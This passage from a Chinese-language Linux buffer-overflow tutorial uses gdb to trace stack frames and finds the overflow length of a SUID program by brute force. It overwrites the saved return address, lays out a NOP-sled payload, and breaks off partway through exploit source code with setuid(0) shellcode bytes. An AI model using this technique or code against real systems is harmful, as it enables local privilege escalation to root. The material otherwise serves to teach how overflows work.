0x80484bb <_IO_stdin_used+15>: "Usage: %s /n"
果然是. 那从0x8048448到0x8048458这段指令就是C语言
printf("Usage: %s /n", argv[0]);
的等价汇编语句了.
我们把断点设到0x804845b, 再继续执行.
(gdb) b *0x804845b
Breakpoint 6 at 0x804845b
(gdb) c
Continuing.
Breakpoint 6, 0x804845b in main ()
下一条指令是leave, 应该是恢复调用函数的函数的栈帧.
单步执行一下, 看看寄存器及栈的情况.
(gdb) si
0x804845c in main ()
(gdb) i reg
eax 0x10 16
ecx 0x400 1024
edx 0x4010a980 1074833792
ebx 0x4010c1ec 1074840044
esp 0xbffff6bc -1073744196
ebp 0xbffff6d8 -1073744168
esi 0x4000ae60 1073786464
edi 0xbffff704 -1073744124
eip 0x804845c 134513756
eflags 0x386 902
(以下省略)
...
(gdb) x/8x $esp
0xbffff6bc: 0x400349cb 0x00000002 0xbffff704 0xbffff710
0xbffff6cc: 0x40013868 0x00000002 0x08048350 0x00000000
下一条指令是ret, 我们知道栈顶放的是main函数的返回地址(0x400349cb).
此时进程在内存中的相关影像:
(内存高址)
| ...... |
+--------+
|00000000|
0xbffff6d8 +--------+ <-- 调用main函数前的ebp
|08048350|
+--------+
|00000002|
+--------+
|40013868|
+--------+
|bffff710|
+--------+
|bffff704| argv的地址(即argv[0]的地址)
0xbffff6c4 +--------+
|00000002| argc的值
0xbffff6c0 +--------+
|400349cb| main函数的返回地址
0xbffff6bc +--------+ <-- 当前esp
|bffff6d8| (垃圾) 调用main函数前的ebp
0xbffff6b8 +--------+
|bffff856| (垃圾) 字符串"AAAAAAAA"在内存中的起始地址
0xbffff6b4 +--------+
|08048443| (垃圾) vulFunc函数的返回地址
0xbffff6b0 +--------+
|bffff6b8| (垃圾) main函数的ebp
0xbffff6ac +--------+
|bffff600| (垃圾)
0xbffff6a8 +--------+
|41414141| (垃圾)
0xbffff6a4 +--------+
|41414141| (垃圾)
0xbffff6a0 +--------+
|bffff856| (垃圾) 字符串"AAAAAAAA"在内存中的起始地址
0xbffff69c +--------+
|bffff6a0| (垃圾) vulFunc函数栈帧中分配的十二个字节起始地址
0xbffff698 +--------+
| ...... |
(内存低址)
再单步执行, 返回到调用main函数的函数
(gdb) si
0x400349cb in __libc_start_main (main=0x804842c , argc=2, argv=0xbffff704, init=0x80482c0 <_init>,
fini=0x804848c <_fini>, rtld_fini=0x4000ae60 <_dl_fini>, stack_end=0xbffff6fc)
at ../sysdeps/generic/libc-start.c:92
92 ../sysdeps/generic/libc-start.c: No such file or directory.
原来是 __libc_start_main 函数调用了我们的main函数, 看来和概述里说的有些出入,
但这对于我们来讲不是很重要. 如果想看源码, 请到../sysdeps/generic/libc-start.c
文件中找.
(gdb) x/16x $esp
0xbffff6c0: 0x00000002 0xbffff704 0xbffff710 0x40013868
0xbffff6d0: 0x00000002 0x08048350 0x00000000 0x08048371
0xbffff6e0: 0x0804842c 0x00000002 0xbffff704 0x080482c0
0xbffff6f0: 0x0804848c 0x4000ae60 0xbffff6fc 0x40013e90
从上面可以看到, stack_end=0xbffff6fc, 也就是说我们的进程的栈底地址为0xbffff6fc,
在调用__libc_start_main函数前依次推了如下七个参数入栈:
0xbffff6fc -> 进程的栈底
0x4000ae60 -> _dl_fini函数的人口地址.
0x0804848c -> _fini函数的入口地址
0x080482c0 -> _init函数的入口地址
0xbffff704 -> argv命令行参数地址的地址
0x00000002 -> argc命令行参数个数值
0x0804842c -> 我们的main函数入口
从上面的分析可推出, 在内存地址0xbffff6dc的内容0x08048371就是__libc_start_main函数
的返回地址了.
我们来看看是什么函数调用了__libc_start_main.
(gdb) disas 0x08048371
Dump of assembler code for function _start:
0x8048350 <_start>: xor %ebp,%ebp
0x8048352 <_start+2>: pop %esi
0x8048353 <_start+3>: mov %esp,%ecx
0x8048355 <_start+5>: and #CONTENT#xfffffff8,%esp
0x8048358 <_start+8>: push %eax
0x8048359 <_start+9>: push %esp
0x804835a <_start+10>: push %edx
0x804835b <_start+11>: push #CONTENT#x804848c
0x8048360 <_start+16>: push #CONTENT#x80482c0
0x8048365 <_start+21>: push %ecx
0x8048366 <_start+22>: push %esi
0x8048367 <_start+23>: push #CONTENT#x804842c
0x804836c <_start+28>: call 0x8048320 <__libc_start_main>
0x8048371 <_start+33>: hlt
0x8048372 <_start+34>: nop
0x8048373 <_start+35>: nop
(省略以下的nop)
End of assembler dump.
原来是_start函数调用了__libc_start_main函数.
至于_start函数调用__libc_start_main函数后, 接是如何调用_init函数和_dl_runtime_resove
函数来调用共享库函数和我们的main函数然后退出的, 已经远远脱离了本文的主题, 这里不再继
续介绍.
(gdb) x/1024x 0xbffff6f0
0xbffff6f0: 0x0804848c 0x4000ae60 0xbffff6fc 0x40013e90
0xbffff700: 0x00000002 0xbffff83e 0xbffff856 0x00000000
0xbffff710: 0xbffff85f 0xbffff881 0xbffff88f 0xbffff89e
0xbffff720: 0xbffff8c4 0xbffff8d2 0xbffff900 0xbffff91a
0xbffff730: 0xbffff932 0xbffff94d 0xbffff9a8 0xbffff9df
0xbffff740: 0xbffffaf3 0xbffffb06 0xbffffb11 0xbffffb31
0xbffff750: 0xbffffb5a 0xbffffb68 0xbffffc72 0xbffffc7e
0xbffff760: 0xbffffc8f 0xbffffca4 0xbffffcb4 0xbffffcbf
0xbffff770: 0xbffffcd7 0xbffffcf5 0xbffffd0e 0xbffffd19
0xbffff780: 0xbffffd23 0xbffffd6c 0xbffffd79 0xbffffda0
0xbffff790: 0xbffffdb2 0xbffffdc1 0xbffffde6 0xbffffe08
0xbffff7a0: 0xbffffe10 0xbfffffd3 0x00000000 0x00000003
0xbffff7b0: 0x08048034 0x00000004 0x00000020 0x00000005
0xbffff7c0: 0x00000006 0x00000006 0x00001000 0x00000007
0xbffff7d0: 0x40000000 0x00000008 0x00000000 0x00000009
0xbffff7e0: 0x08048350 0x0000000b 0x000001f5 0x0000000c
0xbffff7f0: 0x000001f5 0x0000000d 0x00000004 0x0000000e
0xbffff800: 0x00000004 0x00000010 0x008001bf 0x0000000f
0xbffff810: 0xbffff839 0x00000000 0x00000000 0x00000000
0xbffff820: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff830: 0x00000000 0x00000000 0x38356900 0x682f0036
0xbffff840: 0x2f656d6f 0x65776f74 0x74742f72 0x2f737775
0xbffff850: 0x2f6c6469 0x41410070 0x41414141 0x4c004141
0xbffff860: 0x4f535345 0x3d4e4550 0x73752f7c 0x69622f72
...
(省略)
...
0xbfffffd0: 0x54003a35 0x75413d5a 0x61727473 0x2f61696c
0xbfffffe0: 0x0057534e 0x6d6f682f 0x6f742f65 0x2f726577
0xbffffff0: 0x77757474 0x64692f73 0x00702f6c 0x00000000
0xc0000000: Cannot access memory at address 0xc0000000
我们知道内存单元0xbffff704放的是指argv[0]的地址, 那么0xbffff708放的就是argv[1]
的地址了. 0xbffff700里放的是argc的值.
那么0xbffff710里放的是什么呢? 看样子象是指向字符串的地址, 让我们来看看.
(gdb) x/1s 0xbffff85f
0xbffff85f: "LESSOPEN=|/usr/bin/lesspipe.sh %s"
(gdb)
0xbffff881: "HISTSIZE=1000"
...
再看看最后一个.
(gdb) x/1s 0xbfffffd3
0xbfffffd3: "TZ=Australia/NSW"
0xc0000000以后的地址空间已不是进程能合法访问的了.
原来都是些SHELL的环境变量字符串.
这一片东西是从内存地址0xbffff839开始的, 让我们再看看.
(gdb) x/1s 0xbffff839
0xbffff839: "i586"
(gdb)
0xbffff83e: "/home/vcat/p" ===> 细心的朋友会发现这里已被俺改掉了,
让俺保留一点私隐吧 ;)
(gdb)
0xbffff856: "AAAAAAAA"
(gdb)
0xbffff85f: "LESSOPEN=|/usr/bin/lesspipe.sh %s"
...
我们得出结论: 0xbffff700放的是argc的值; 0xbffff704放的是argv[0]的地址,
0xbffff708放的是argv[1]的地址; 0xbffff710--0xbffffa4放的是指向各个环境变量
字符串起始地址的指针; 从内存地址0xbffff839开始依次存放的是: 系统平台信息字
串; 命令行字串; 环境变量字串.
至于0xbffff7a8--0xbffff838里放的是什么, 还有待研究. 由于对本文不是至关重要,
暂时放一下.
分析到这, 我们来组合一下进程在内存的影像:
(内存高址)
| ...... | ...省略了一些我们不需要关心的区
+--------+
|00000000|/
0xbffffffc +--------+ /
| ...... | /
/
| ...... | /
0xbffff844 +--------+ 系统平台信息串(如:"i586")和命令行参数及环境变量字串
|2f656d6f| /
0xbffff840 +--------+ /
|682f0036| /
0xbffff83c +--------+ /
|38356900|/ --> 从内存地址0xbffff839开始, 0x69353836="i586"
0xbffff838 +--------+
| ...... |/
里面放的是什么? 还有待研究
| ...... |/
0xbffff7a8 +--------+
|bfffffd3|/
0xbffff7a4 +--------+ /
| ...... | /
...... 环境变量指针
| ...... | /
0xbffff714 +--------+ /
|bffff85f|/
0xbffff710 +--------+
|00000000|
0xbffff70c +--------+
|bffff856| argv[1]的地址
0xbffff708 +--------+
|bffff83e| argv[0]的地址
0xbffff704 +--------+
|00000002| argc的值
0xbffff700 +--------+
|40013e90| ???? (和_dl_starting_up函数有关)
0xbffff6fc +--------+ <-- 进程的栈底
|bffff6fc| stack_end(进程的栈底)
0xbffff6f8 +--------+
|4000ae60| _dl_fini函数入口地址
0xbffff6f4 +--------+
|0804848c| _fini函数入口地址
0xbffff6f0 +--------+
|080482c0| _init函数入口地址
0xbffff6ec +--------+
|bffff704| argv地址的地址
0xbffff6e8 +--------+
|00000002| argc的值
0xbffff6e4 +--------+
|0804842c| main函数的入口地址
0xbffff6e0 +--------+
|08048371| __libc_start_main的返回地址(指令hlt), 正常情况不会返回到这.
0xbffff6dc +--------+
|00000000|
0xbffff6d8 +--------+ <-- 调用main函数前的ebp
|08048350| _start函数的入口地址
+--------+
|00000002| argc的值
+--------+
|40013868| ????
+--------+
|bffff710| 环境变量指针的地址
+--------+
|bffff704| argv地址的地址(即argv[0]的地址)
0xbffff6c4 +--------+
|00000002| argc的值
0xbffff6c0 +--------+
|400349cb| main函数的返回地址
0xbffff6bc +--------+ <-- 当前esp
|bffff6d8| (垃圾) 调用main函数前的ebp
0xbffff6b8 +--------+
|bffff856| (垃圾) 字符串"AAAAAAAA"在内存中的起始地址
0xbffff6b4 +--------+
|08048443| (垃圾) vulFunc函数的返回地址
0xbffff6b0 +--------+
|bffff6b8| (垃圾) main函数的ebp
0xbffff6ac +--------+
|bffff600| (垃圾)
0xbffff6a8 +--------+
|41414141| (垃圾)
0xbffff6a4 +--------+
|41414141| (垃圾)
0xbffff6a0 +--------+
|bffff856| (垃圾) 字符串"AAAAAAAA"在内存中的起始地址
0xbffff69c +--------+
|bffff6a0| (垃圾) vulFunc函数栈帧中分配的十二个字节起始地址
0xbffff698 +--------+
| ...... |
(内存低址)
通过以上的分析, 我们对C语言函数调用的机制和程序在内存中运行情况就了解得差不多了.
基础打好了, 想进步就容易多了, 想干什么都可以随心所欲.
iii) 小结
a) 32位机器的内存分配是以4个字节为单元的.
b) 指令: push %寄存器(32位)
相当于esp=esp-4, 然后把寄存器里的值存放到esp所指的4个字节的内存单元里.
c) 指令: pop %寄存器(32位)
相当于把esp所指向的内存单元的值赋给所指定的寄存器, 然后esp=esp+4.
d) 函数调用时所建立的栈帧的内存空间并没有清零, 而是沿用了以前调用其它函数时所余
留下来的数据, 这就是编程时如果没有初始化局部变量, 该变量的初始值不一定为零的
原因.
e) main函数被调用前的栈的内容和概述里描述的有出入--概述只是个一般性的描述, 对不
同的平台要具体分析.
f) 在Linux x86平台, 调用函数所传给被调用函数的参数是由调用函数人栈的, 存放在调用
函数的栈帧里;
被调用函数返回后, 由调用函数负责把入栈的参数从栈中弹出.
g) 参数的入栈顺序由右向左. 即: 函数最右边的参数最先入栈, 依次到最左边的.
h) 被调用函数对参数和局部变量的访问遵循如下原则:
以被调用函数的ebp为分界线, ebp+n*4(n>=2)为对被传给它的参数的引用;
ebp-n*4(n>=1)为对局部变量的引用.
如下图所示:
(内存高址)
| ...... | 参数m(m>=1)
+--------+ ebp+(m+1)*4
| ...... |
+--------+
|PPPPPPPP| 参数3
+--------+ ebp+16
|PPPPPPPP| 参数2
+--------+ ebp+12
|PPPPPPPP| 参数1
+--------+ ebp+8
|返回地址|
+--------+ ebp+4
| ebp |
+--------+ <-- 被调用函数的ebp
|LLLLLLLL| 局部变量内存单元1
+--------+ ebp-4
|LLLLLLLL| 局部变量内存单元2
+--------+ ebp-8
| ...... |
+--------+
| ...... | 局部变量内存单元m
+--------+ ebp-m*4
| ...... |
(内存低址)
i) 进入被调用函数时的
push %ebp
mov %esp, %ebp
这两条指令实现了对调用函数的栈帧栈底的保存和把调用函数的栈顶做为被调用函数
的栈底.
j) 被调用函数返回前的指令leave实现了i)中的相反的动作.
即: 被调用函数返回前恢复调用函数的栈帧.
相当于
mov %ebp, %esp
pop %ebp
也就是, 把被调用函数的ebp的值赋给esp--当前(被调用函数)的栈底做为新的栈顶;
把新栈顶的内容弹出做为栈底--从而完成了调用函数栈帧的恢复.
2) 溢出分析
我们假装一下有这样的情况: 怀疑系统有一个SUID的可执行文件p可能有问题, 我们知道它接收
命令行提供给它的字串然后在屏幕上显示出来.
有时假装真的很难做到, 尤其对于我们这些"菜鸟"来讲. "高手"就不一样了, 往往会把简单的问
题越说越复杂, 以显高手本色. ;)
如何发现缓冲区溢出的触发条件? 这不仅是烦琐的, 而且也是个复杂的劳动, 所以要有方法. 碰
运气发现的情况是有的, 但我们要的是方法论. 如果能有好的方法再加上运气, 那就再好不过了.
那什么样的方法好呢? 我们就以最笨的"菜鸟"方法吧. 我们来"土法炼钢" ... 看看成不成? ;)
我们知道命令p接收命令行的字串. 我们也知道在编程时, 一般习惯缓冲区大小定义为1024, 512,
256, 64, ... 好, 那我们就用二分法来步步逼进, 去找一下.
bash$ ./p `perl -e 'print "A"x1025'`
String=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA
Segmentation fault (core dumped)
哈! 段出错. 溢出了.
我们要找的是最短的串使命令p溢出的情况. 继续 ...
bash$ ./p `perl -e 'print "A"x513'`
String=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA
Segmentation fault (core dumped)
...
...
...
bash$ ./p `perl -e 'print "A"x17'`
String=AAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
bash$ ./p `perl -e 'print "A"x9'`
String=AAAAAAAAA
字串长度等于9没有溢出.
bash$ ./p `perl -e 'print "A"x13'`
String=AAAAAAAAAAAAA
Segmentation fault (core dumped)
字串长度等于13溢出了.
bash$ ./p `perl -e 'print "A"x11'`
String=AAAAAAAAAAA
字串长度等于11没有溢出.
bash$ ./p `perl -e 'print "A"x12'`
String=AAAAAAAAAAAA
Segmentation fault (core dumped)
字串长度等于12时, 刚好溢出.
所以, 字串长度大于等于12是溢出触发条件.
让我们来分析一下这个Segmentation fault段出错的core文件.
bash$ gdb -c core p
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
Core was generated by `./p AAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0xd790266 in ?? ()
(gdb) bt
#0 0xd790266 in ?? ()
#1 0x4001407c in ?? ()
#2 0x3 in ?? ()
#3 0x400144e8 in ?? ()
(gdb) i reg
eax 0x14 20
ecx 0x400 1024
edx 0x4010a980 1074833792
ebx 0x4010c1ec 1074840044
esp 0xbffff608 -1073744376
ebp 0x400146ec 1073825516
esi 0x4000ae60 1073786464
edi 0xbffff734 -1073744076
eip 0xd790266 226034278
eflags 0x10286 66182
(以下省略)
...
进程运行到eip=0xd790266时退出了.
我们看一下
(gdb) x/x 0x4010a980
0x4010a980 <_IO_2_1_stdout_>: 0xfbad2a84
(gdb) x/x 0x4010c1ec
0x4010c1ec: 0x000f0c84
(gdb) x/x 0xbffff608
0xbffff608: 0xbffff68c
(gdb) x/x 0x400146ec
0x400146ec: 0x4001407c
(gdb) x/x 0x4000ae60
0x4000ae60 <_dl_fini>: 0x83e58955
(gdb) x/x 0xbffff734
0xbffff734: 0xbffff86c
(gdb) x/x 0xd790266
0xd790266: Cannot access memory at address 0xd790266
(gdb) disas 0xd790266
No function contains specified address.
相关寄存器(edx, ebx, esp, ebp, esi, edi)所指向的地址的内存单元是可以访问的, 除了
eip所指的地址不可访问. 所以是eip导致了段出错.
我们来看看这时栈里面的相关内容.
这时的esp指向0xbffff608, 从上面的分析可知这是从栈里面弹出返回地址后的栈顶, 我们把附近
的内存内容列出来看一下.
(gdb) x/64x $esp-32
0xbffff5e8: 0x400144e8 0x00000003 0x40014758 0x00000001
0xbffff5f8: 0xbffff610 0x40025df0 0x400146ec 0x0d790266
0xbffff608: 0xbffff68c 0x4002d82c 0x40025df0 0x400144e8
0xbffff618: 0x400140d4 0x077905a6 0xbffff6a4 0x080481fd
0xbffff628: 0x4001f630 0x400144e8 0x400140d4 0x078e530f
0xbffff638: 0xbffff6bc 0x0804823d 0x40025ca0 0x400144e8
0xbffff648: 0xbffff6cc 0x4002a1a6 0x40022ad0 0x400144e8
0xbffff658: 0xbffff690 0x4000a7fd 0x400144d8 0x400147b8
0xbffff668: 0x00000007 0x4000a74e 0x4010c1ec 0x4000ae60
0xbffff678: 0xbffff734 0x400144e8 0x40025df0 0x4010c8c0
0xbffff688: 0x4002d82c 0x40025df0 0xbffff6c0 0x4000a970
0xbffff698: 0xbffff87d 0xfffffe5f 0x40061920 0x400144e8
0xbffff6a8: 0xbffff6c0 0x4006a070 0x4010a980 0x080484b0
0xbffff6b8: 0xbffff6d0 0x4010c1ec 0xbffff6dc 0x08048424
0xbffff6c8: 0x080484b0 0xbffff6d0 0x41414141 0x41414141
0xbffff6d8: 0x41414141 0xbffff600 0x08048443 0xbffff870
在0xbffff604处正是当前eip的值, 0xbffff600处正是当前ebp的值.
从前面我们得到的结论, 可以推出0xbffff600这个地址值就是被调用函数返回前的栈顶esp所
指向的内存单元的内容, 被调用函数中的leave指令把当时的esp所指向的内存单元的内容
(0xbffff600)弹出来做了调用(当前)函数的栈底.
我们来查看一下在附近的内存中哪里有这个值--0xbffff600
哈! "远在天边, 近在眼前", 就在我们的视野里--最后一行的第二个内存单元, 省了我们再找.
它的前面(内存低地址)就是我们输入的那十二个可爱的"A", 那么紧接在它的后面(内存高地址)
的内存单元里的内容0x08048443就是被调用函数的返回地址了.
我们反汇编来看看是什么来的.
(gdb) disas 0x08048443
Dump of assembler code for function main:
0x804842c : push %ebp
0x804842d : mov %esp,%ebp
0x804842f : cmpl #CONTENT#x2,0x8(%ebp)
0x8048433 : jne 0x8048448
0x8048435 : mov 0xc(%ebp),%eax
0x8048438 : add #CONTENT#x4,%eax
0x804843b : mov (%eax),%edx
0x804843d : push %edx
0x804843e : call 0x8048400
0x8048443 : add #CONTENT#x4,%esp
0x8048446 : jmp 0x804845b
0x8048448 : mov 0xc(%ebp),%eax
0x804844b : mov (%eax),%edx
0x804844d : push %edx
0x804844e : push #CONTENT#x80484bb
0x8048453 : call 0x8048330
0x8048458 : add #CONTENT#x8,%esp
0x804845b : leave
0x804845c : ret
0x804845d : nop
0x804845e : nop
0x804845f : nop
End of assembler dump.
嘻嘻... 那是我们的main函数. 噢! 怎么忘了我们在假装呢? :( 不行不行, 继续假装 ;)
原来是main函数调用了vulFunc, 然后main函数自己返回的时候出了问题. 那么问题究竞出在哪了?
我们再次看一下0xbffff600这个值, 参照刚才列出来的内存内容可以看出那个最低位字节的00
其实就是我们的字串的零结尾字符0. 也就是说, 我们输入的字串的零结尾字符复盖了栈中保存
的调用函数main的ebp的最低字节. 换句话来说, 如果调用函数ebp原来的值为0xbffff600, 则什
么事都没有; 如果原来的值为0xbffff6XX, 则轮到main函数恢复它的调用函数的栈帧时, 0xbffff600
就变成了该函数的栈顶esp, 从里面弹出来的ebp和返回地址就不对了(如我们现在的情况).
同时我们也知道一个字节--8位, 其最大值为FF--255, 如果缓冲区的大小大于或等于256, 那么
这个0xbffff600就有可能指向缓冲区内, 这里存在着另外一种利用的契机. 但是发生的概率太小
了, 这里不再继续讨论.
如果我们把输入字串加多4个字节(16个"A"), 那么在内存地址0xbffff6e0处的返回地址0x08048443
将会变为0x08048400, 我们对这个地址的内容反汇编还看看.
(gdb) disas 0x08048400
Dump of assembler code for function vulFunc:
0x8048400 : push %ebp
0x8048401 : mov %esp,%ebp
0x8048403 : sub #CONTENT#xc,%esp
0x8048406 : mov 0x8(%ebp),%eax
0x8048409 : push %eax
0x804840a : lea 0xfffffff4(%ebp),%eax
0x804840d : push %eax
0x804840e : call 0x8048340
0x8048413 : add #CONTENT#x8,%esp
0x8048416 : lea 0xfffffff4(%ebp),%eax
0x8048419 : push %eax
0x804841a : push #CONTENT#x80484b0
0x804841f : call 0x8048330
0x8048424 : add #CONTENT#x8,%esp
0x8048427 : leave
0x8048428 : ret
0x8048429 : lea 0x0(%esi),%esi
End of assembler dump.
这个地址刚好是vulFunc函数的入口, 也就是说vulFunc函数会再次被调用后出错.
不信的话, 可以试试.
bash$ ./p `perl -e 'print "A"x16'`
看输出什么了.
再用多4个字节, 就会完全用41414141来复盖返回地址了.
bash$ ./p `perl -e 'print "A"x20'`
String=AAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
bash$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `./p AAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) bt
#0 0x41414141 in ?? ()
Cannot access memory at address 0x41414141
(gdb) i reg
eax 0x1c 28
ecx 0x400 1024
edx 0x4010a980 1074833792
ebx 0x4010c1ec 1074840044
esp 0xbffff6d4 -1073744172
ebp 0x41414141 1094795585
esi 0x4000ae60 1073786464
edi 0xbffff724 -1073744092
eip 0x41414141 1094795585
eflags 0x10296 66198
(以下省略)
看到"金光闪闪"的41414141在eip里了.
所以要想复盖返回地址, 应该在缓冲区的第16个位置开始填入4个字节的返回地址值.
有时候"土法"的确是可以炼出"钢"来的 ;)
知道了这个后, 就得看看如何利用了.
3) 如何攻击?
我们已经知道应该把返回地址的值放在字串中那个位置就可以复盖eip了.
但我们还有一件很关键的事没有做--就是如何确定我们要复盖的返回地址的值?--即: 用什么值去复盖?
而这个值一定要指向我们准备好的shell code的人口.
shell code在Internet上有很多, 我们就随便拿一个好一点的来用就行了, 没必要自己去写,
除非不得已.
这个shell code是要做为我们输入的字符串的一部分提供给命令p的.
我们也知道当一个进程在运行时, 其在相同的shell环境(包括命令行参数)下, 在程序中的某个
地方的esp的值是不变的. 我们只要找出这个值, 以它做为基准, 然后再根据调试时得出的结果
来计算出我们要填的返回地址就可以了.
我们同时也应该知道, 由于我们是在exploit程序中用exec系列函数来调用命令p的, 当exec系列
函数调用成功时, 我们的exploit程序进程的内存影像就完全被命令p的进程内存影像所替代了.
这一点一定要弄清楚, 因为我们是"低手", 所以要弄明白.
换句话来说, 我们在exploit程序的进程里得到的esp根本就不是p程序进程运行时的esp,
虽然它们之间的差相对来说是稳定的.
而且我们根本没法在命令p的进程运行时得到esp的值, 我们只能根据exploit程序的进程的esp值来
猜, 即: 根据它来猜出我们提供给命令p的shell code在命令p运行时的进程内存空间中的位置,
也就是在p进程中存放shell code的起始地址--我们的入口. 而这种猜, 是通过调试来完成的.
为了提高中标机会, 我们在入口的前面要尽量填上足够多的NOP, 把面放大一点, 就容易中了.
我们设计的缓冲区内容为如下形式:
(内存低址) ...[16个非零字符(就用0x41吧)][返回地址(4个字节)][若干个0x90(NOP)][shellcode]... (内存高址)
| ^
|____________________|
只要我们的猜到的返回地址值能落到存放那若干个NOP的地址空间里就大功告成了.
这里有必要讲一下exploit程序(如我们下面的myex)进程和由它用execl系列函数执行的p进程之间的
关系.
其实exploit进程调用execl函数成功运行p进程后, exploit进程的内存影像已完全被p进程的内存影
像所替代. exploit进程已不复存在. 在exploit进程中调用get_esp()函数所得到的esp值并不是p进
程溢出时的esp值, 而是exploit进程当时的esp值. 而这个值只是进程运行时栈的地址空间中的某个
地址值.
在相同的系统环境下, 这两个进程的栈的地址空间是一样的. 换句话来说, 知道了exploit进程的栈
空间中的某个地址值, 我们就等于知道了p进程的栈空间的某个地址值了, 然后再根据这个值来计算
出我们的shellcode的入口地址. 而且这个地址和我们的shellcode的入口地址往往就相差不远, 只要
稍为调整一下就行了.
以下为示意图(shellcode入口地址低于得到的esp的情况, 高于的情况同理):
exploit进程影像 p进程影像
+--------+ (内存高址) +--------+
| ...... | | ...... |
+--------+ +--------+
| ...... | | ...... |
...... ......
| ...... | |SSSSSSSS|/
+--------+ +--------+ /
| ...... | |SSSSSSSS| /
+--------+ +--------+ /
| ...... | |SSSSSSSS| shell code
+--------+ <---- esp ----> +--------+ /
| ...... | | |SSSSSSSS| /
+--------+ | +--------+ /
| ...... | offset |SSSSSSSS|/
+--------+ | +--------+
| ...... | | |90909090|/
...... ---> ...... 若干个NOP
| ...... | |90909090|/
+--------+ +--------+
| ...... | |返回地址|
+--------+ +--------+
| ...... | |41414141|
...... ......
| ...... | | ...... |
+--------+ +--------+
| ...... | | ...... |
+--------+ (内存低址) +--------+
注: 图中的offset为myex.c中的ESP_RET_DIFF; 返回地址=get_esp()-offset.
shellcode的入口高于esp的情况: 返回地址=get_esp+offset.
讲了那么多, 还是让我们现在就动手吧 ;)
以下是我们用来攻击命令p的exploit程序.
/*
* 文件名 : myex.c
* 编译 : gcc -o myex myex.c
*
* 说明 : 这是在virtualcat关于如何编写Linux下的exploit程序介绍中用来攻击
* 有问题的程序p的程序示范源代码
* 有关程序p的源代码请参见同一文章中的p.c
* 如果有什么问题, 请与virtualcat联系: virtualcat@hotmail.com
*
* 这个程序要求把相应的宏 ESP_RET_DIFF 的定义改为 -116到 -16之间的值才能正常工作,
* 不然的话, 要通过命令行参数来进行调整, 原因请参见见文章中的分析.
*
* 此程序在Redhat 6.2 Linux 2.2.14-12 上调试通过.
*
*/
#include
#define RET_DIS 16 // Displacement to replace the return address
#define NOP 0x90 // Machine code for no operation
#define NNOP 100 // Number of NOPs
#define ESP_RET_DIFF 0 --> Need to apply an appropriate value here. (-60 shoul work)
char shellCode[] = "/x31/xdb/x89/xd8/xb0/x17/xcd/x80" /* setuid(0) */
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c"
